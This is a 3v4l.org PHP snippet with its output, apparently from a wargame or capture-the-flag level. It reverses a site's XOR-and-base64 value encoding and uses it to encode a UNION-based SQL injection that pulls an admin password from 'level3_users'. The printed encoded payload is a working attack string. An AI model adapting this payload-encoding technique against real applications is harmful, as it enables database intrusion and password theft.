3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,password FROM level3_users WHERE Username='Admin' --"); print "\n"; print "\n"; ?>
Output for 4.3.0 - 7.1.0
Admin MTI5MTY0MTczMTY5MTc0MjMxMjI0MTQ5MTQyMTM3MTQzMTQyMjI0MTQ3MTMzMTQwMTMzMTMxMTQ4MjI0MjQxMjM2MjQyMjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjI0MTM0MTQ2MTQzMTQxMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTUxMTM2MTMzMTQ2MTMzMjI0MTQ5MTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjMxMjI0MjM3MjM3